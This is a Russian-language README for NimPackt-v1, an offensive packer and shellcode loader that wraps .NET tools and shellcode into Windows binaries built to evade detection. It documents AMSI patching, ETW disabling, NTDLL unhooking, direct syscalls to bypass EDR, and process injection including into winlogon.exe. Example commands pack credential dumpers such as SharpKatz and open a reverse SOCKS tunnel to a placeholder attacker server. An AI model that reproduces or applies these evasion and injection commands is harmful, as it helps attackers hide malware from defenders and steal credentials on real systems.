
Упаковщик ассемблерного кода и загрузчик шеллкода на основе Nim для opsec и профита

Автор: Cas van Cooten (@chvancooten)
С особыми благодарностями Marcello Salvati (@byt3bl33der) и Fabian Mosch (@S3cur3Th1sSh1t)
Обновление: NimPackt-v1 является одним из худших кодов, которые я когда-либо писал (я только начинал изучать Nim). Из-за этого я начал полное переписывание NimPackt, названное 'NimPackt-NG' (пока ещё приватное). При этом переписывании я решил открыть исходный код старой ветки ("NimPackt-v1"). Таким образом, эта ветка больше не поддерживается и предоставляется без каких-либо гарантий или поддержки. PR'ы, конечно, всегда приветствуются :)
NimPackt — это упаковщик на Nim для .NET (C#) исполняемых файлов и shellcode, нацеленный на Windows. Он автоматически оборачивает полезную нагрузку в бинарный файл Nim, который компилируется в нативный C и, следовательно, сложнее для обнаружения и обратной разработки. Существует два основных метода выполнения:
Execute-Assembly переупаковывает .NET исполняемый файл и запускает его, опционально применяя меры уклонения, такие как снятие хуков API, патч AMSI или отключение ETW.Shinject принимает сырой .bin файл с сырым позиционно-независимым shellcode и выполняет его локально или в удалённом процессе, опционально используя прямые системные вызовы для запуска shellcode или патча хуков API для обхода EDR.В настоящее время NimPackt имеет следующие функции:
NTDLL.dll с помощью ShellyCoatexe или dllОтличный источник C#-бинарных файлов для инструментов атак можно найти здесь. Настоятельно рекомендуется компилировать C# бинарные файлы самостоятельно. Хотя встроенные бинарные файлы зашифрованы, вам следует обфусцировать чувствительные бинарные файлы (например, Mimikatz), чтобы снизить риск обнаружения.
Если у вас возникают проблемы с компиляцией бинарного файла с Syscalls, попробуйте понизить версию GCC до 8.1.0 (особенно на Windows). ВСЕГДА тестируйте сгенерированные полезные нагрузки!
На Linux просто установите необходимые пакеты и используйте установщик пакетов Nimble для установки требуемых пакетов и библиотек Python.
sudo apt install -y python3 mingw-w64 nim
pip3 install pycryptodome argparse
nimble install winim nimcrypto
На Windows выполните установщик Nim из здесь. Убедитесь, что установлен mingw и правильно заданы пути с помощью предоставленной утилиты finish.exe. Если у вас нет Python3, установите его, затем установите необходимые пакеты следующим образом.
nimble install winim nimcrypto
pip3 install pycryptodome argparse
Образ Docker chvancooten/nimbuild можно использовать для компиляции бинарных файлов NimPackt-v1. Использование Docker просто и позволяет избежать проблем с зависимостями, так как все необходимые зависимости предустановлены в этом контейнере.
Чтобы использовать его, установите Docker для вашей ОС и убедитесь, что входной shellcode находится в текущей папке. Затем запустите компиляцию в контейнере следующим образом.
docker run --rm -v `pwd`:/usr/src/np -w /usr/src/np chvancooten/nimbuild python3 NimPackt.py -e shinject -i sc.bin
Чтобы установить плагин CobaltStrike, выберите Cobalt Strike -> Script Manager в строке меню и нажмите Load. Убедитесь, что загружаете файл .cna из его исходного расположения, иначе он не сможет найти файлы скриптов NimPackt!

usage: NimPackt.py [-h] -e EXECUTIONMODE -i INPUTFILE [-a ARGUMENTS] [-na] [-ne] [-r]
[-t INJECTTARGET] [-E] [-o OUTPUTFILE] [-nu] [-ns] [-f FILETYPE] [-s] [-32] [-S]
[-d] [-v] [-V]
required arguments:
-e EXECUTIONMODE, --executionmode EXECUTIONMODE
Execution mode of the packer. Supports "execute-assembly" or "shinject"
-i INPUTFILE, --inputfile INPUTFILE
C# .NET binary executable (.exe) or shellcode (.bin) to wrap
execute-assembly arguments:
-a ARGUMENTS, --arguments ARGUMENTS
Arguments to "bake into" the wrapped binary, or "PASSTHRU" to accept run-
time arguments (default)
-na, --nopatchamsi Do NOT patch (disable) the Anti-Malware Scan Interface (AMSI)
-ne, --nodisableetw Do NOT disable Event Tracing for Windows (ETW)
shinject arguments:
-r, --remote Inject shellcode into remote process (default false)
-t INJECTTARGET, --target INJECTTARGET
Remote thread targeted for remote process injection
-E, --existing Remote inject into existing process rather than a newly spawned one (default
false, implies -r) (WARNING: VOLATILE)
other arguments:
-o OUTPUTFILE, --outfile OUTPUTFILE
Filename of the output file (e.g. "LegitBinary"). Specify WITHOUT extension
or path. This property will be stored in the output binary as the original
filename
-nu, --nounhook Do NOT unhook user-mode API hooks in the target process by loading a fresh
NTDLL.dll
-ns, --nosyscalls Do NOT use direct syscalls (Windows generation 7-10) instead of high-level
APIs to evade EDR
-f FILETYPE, --filetype FILETYPE
Filetype to compile ("exe" or "dll", default: "exe")
-s, --sleep Sleep for approx. 30 seconds by calculating primes
-32, --32bit Compile in 32-bit mode (untested)
-S, --showConsole Show a console window with the app's output when running
-d, --debug Enable debug mode (retains .nim source file in output folder)
-v, --verbose Print debug messages of the wrapped binary at runtime
-V, --version show program's version number and exit
Примеры:
# Pack SharpKatz to accept arguments at runtime, patching NTDLL hooks, AMSI, and ETW while printing verbose messages to a visible console at runtime
python3 ./NimPackt.py -e execute-assembly -i bins/SharpKatz-x64.exe -S -v
# Pack Seatbelt as a DLL file with baked-in arguments (note: write to outfile because stdout is not available for DLLs)
python3 ./NimPackt.py -f dll -e execute-assembly -i Seatbelt.exe -a "-group=all -outputfile=c:\users\public\downloads\sb.txt"
# Pack SharpChisel with a built-in ChiselChief connection string, do not unhook, patch AMSI, or disable ETW, hide the application window at runtime
python3 NimPackt.py -nu -na -ne -e execute-assembly -i bins/SharpChisel.exe -a 'client --keepalive 25s --max-retry-interval 25s https://chiselserver.evilwebsite.com R:10073:socks'
# Pack raw shellcode to DLL file that executes in the local thread through direct syscalls, unhooking NTDLL as well
# Shellcode generated with 'msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o /tmp/calc.bin'
python3 NimPackt.py -i calc.bin -e shinject -f dll
# Pack raw shellcode to execute in a newly spawned Calculator thread in an invisible window
python3 NimPackt.py -i calc.bin -e shinject -t "calc.exe"
# Pack raw shellcode to execute in the existing Winlogon process (first PID with name 'winlogon.exe'), do not use direct syscalls or unhook NTDLL
python3 NimPackt.py -i calc.bin -e shinject -r -E -t "winlogon.exe" -nu -ns
Бинарные файлы сохраняются в подпапку output вашего каталога установки. Сгенерированные файлы dll можно выполнить следующим образом (точка входа может быть изменена в шаблоне Nim):
rundll32 exampleShinjectNimPackt.dll,IconSrv